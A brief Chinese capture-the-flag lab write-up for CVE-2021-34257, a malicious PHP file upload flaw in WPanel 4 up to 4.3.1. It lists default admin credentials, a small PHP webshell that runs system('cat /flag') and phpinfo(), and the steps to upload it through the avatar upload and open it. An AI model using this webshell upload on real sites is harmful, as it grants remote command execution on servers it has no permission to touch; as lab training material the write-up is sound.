【春秋云境】CVE-2021-34257靶场记录

靶场介绍

WPanel是一个用于构建博客、网站和网络应用程序的CMS。 WPanel 4 4.3.1 及更低版本存在安全漏洞，该漏洞源于通过恶意 PHP 文件上传

开启靶场

来到后台；账号:admin@admin.com  密码：admin

 权限马如下：

php

system('cat /flag');

phpinfo();

?>

解题步骤

构造权限马，在头像上传处上传

 上传成功后复制地址到新标签页打开获取flag

来源地址：https://blog.csdn.net/2301_78019493/article/details/130771025